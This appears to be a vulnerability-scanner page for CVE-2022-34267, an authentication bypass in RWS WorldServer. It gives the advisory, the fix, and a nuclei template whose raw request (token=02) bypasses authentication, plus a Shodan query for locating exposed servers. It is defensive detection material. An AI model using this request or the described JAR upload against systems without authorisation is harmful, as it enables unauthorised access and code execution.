RWS WorldServer - Authentication Bypass

criticalseverity

9.8CVSS score

42.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.

Impact

Unauthenticated attackers can bypass all authentication by adding a token parameter with value 02, then upload and execute arbitrary Java code via JAR archives, potentially compromising the translation management system and accessing sensitive multilingual content.

Fix

Upgrade to RWS WorldServer version 11.7.3 or later that properly validates authentication tokens and restricts API access.

How to confirm it

Send: GET /ws-api/v2/users/me/details?token=02
Positive when: contains "\"fullName\":\"System\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34267 -u <target>

The full check

id: CVE-2022-34267

info:
  name: RWS WorldServer - Authentication Bypass
  author: pdresearch,iamnoooob,rootxharsh,parthmalhotra
  severity: critical
  description: |
    An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
  impact: |
    Unauthenticated attackers can bypass all authentication by adding a token parameter with value 02, then upload and execute arbitrary Java code via JAR archives, potentially compromising the translation management system and accessing sensitive multilingual content.
  remediation: |
    Upgrade to RWS WorldServer version 11.7.3 or later that properly validates authentication tokens and restricts API access.
  reference:
    - https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
    - https://www.rws.com/localization/products/trados-enterprise/worldserver/
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-34267
    cwe-id: CWE-287
    epss-score: 0.42162
    epss-percentile: 0.98707
    cpe: cpe:2.3:a:rws:worldserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rws
    product: worldserver
    shodan-query: title:"WorldServer"
  tags: cve,cve2022,worldserver,auth-bypass,vuln

http:
  - raw:
      - |
        GET /ws-api/v2/users/me/details?token=02 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullName":"System"'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from